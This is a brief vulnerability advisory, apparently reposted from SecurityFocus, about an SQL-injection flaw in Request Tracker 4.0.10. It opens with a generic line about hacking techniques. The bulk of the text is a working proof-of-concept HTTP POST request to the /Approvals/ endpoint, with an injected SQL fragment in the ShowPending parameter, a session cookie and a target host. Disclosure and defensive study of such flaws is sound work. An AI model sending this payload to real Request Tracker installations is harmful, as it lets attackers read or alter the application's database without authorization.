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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/59022/info

Request Tracker is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

RT 4.0.10 is vulnerable; other versions may also be affected. 

POST /Approvals/ HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Cookie: RT_SID_example.com.80=7c120854a0726239b379557f024cc1cb
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.example.com/Approvals/
Host: 10.10.10.70
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; 
Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 
3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Length: 120

ShowPending=1%27+and+%27f%27%3D%27f%27%29+--+&ShowResolved=1&ShowRejected=1&ShowDependent=1&CreatedBefore=&CreatedAfter=